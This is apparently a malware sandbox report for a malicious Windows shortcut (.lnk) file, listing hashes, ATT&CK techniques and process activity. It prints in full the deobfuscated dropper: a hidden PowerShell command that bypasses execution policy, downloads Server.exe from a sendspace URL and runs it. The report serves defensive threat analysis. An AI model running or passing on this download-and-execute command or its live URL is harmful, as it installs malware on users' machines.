e8e6b762a9821d12a4df9a03ba70d24c1b635a83f97487f477ceb7592f4aceee

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2024, 05:26

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General

Target

ecec64ff5ce641a4a1f05deb155d6653_JaffaCakes118.lnk
Size

1KB
MD5

ecec64ff5ce641a4a1f05deb155d6653
SHA1

667b41d91c36d624fb0d7d08c19eb973af38d67b
SHA256

e8e6b762a9821d12a4df9a03ba70d24c1b635a83f97487f477ceb7592f4aceee
SHA512

ef9aba73378d49be846a435de3d280fc239710545e3762b48920ee7a8af2508907ef84cd29670d3622895214f1a2f852df41d4372dd23d00d20e7d3ec1399f58

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://fs05n4.sendspace.com/dl/a948bd21e0b879fdb7c01047131595ff/59b09db20625e3ed/ehlbqu/Server.exe

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4548	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4548	powershell.exe
4548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4548	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4332 wrote to memory of 4548	4332	cmd.exe	85
PID 4332 wrote to memory of 4548	4332	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ecec64ff5ce641a4a1f05deb155d6653_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://fs05n4.sendspace.com/dl/a948bd21e0b879fdb7c01047131595ff/59b09db20625e3ed/ehlbqu/Server.exe','C:\Users\Admin\AppData\Roaming\AtualizaoJava');Start-Process 'C:\Users\Admin\AppData\Roaming\AtualizaoJava'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e2ndhdei.raw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4548-2-0x00007FFC34263000-0x00007FFC34265000-memory.dmp

Filesize
8KB

Download
memory/4548-12-0x000001DC22C10000-0x000001DC22C32000-memory.dmp

Filesize
136KB

Download
memory/4548-13-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

Filesize
10.8MB

Download
memory/4548-14-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

Filesize
10.8MB

Download
memory/4548-15-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

Filesize
10.8MB

Download
memory/4548-16-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

Filesize
10.8MB

Download
memory/4548-19-0x00007FFC34260000-0x00007FFC34D21000-memory.dmp

Filesize
10.8MB

Download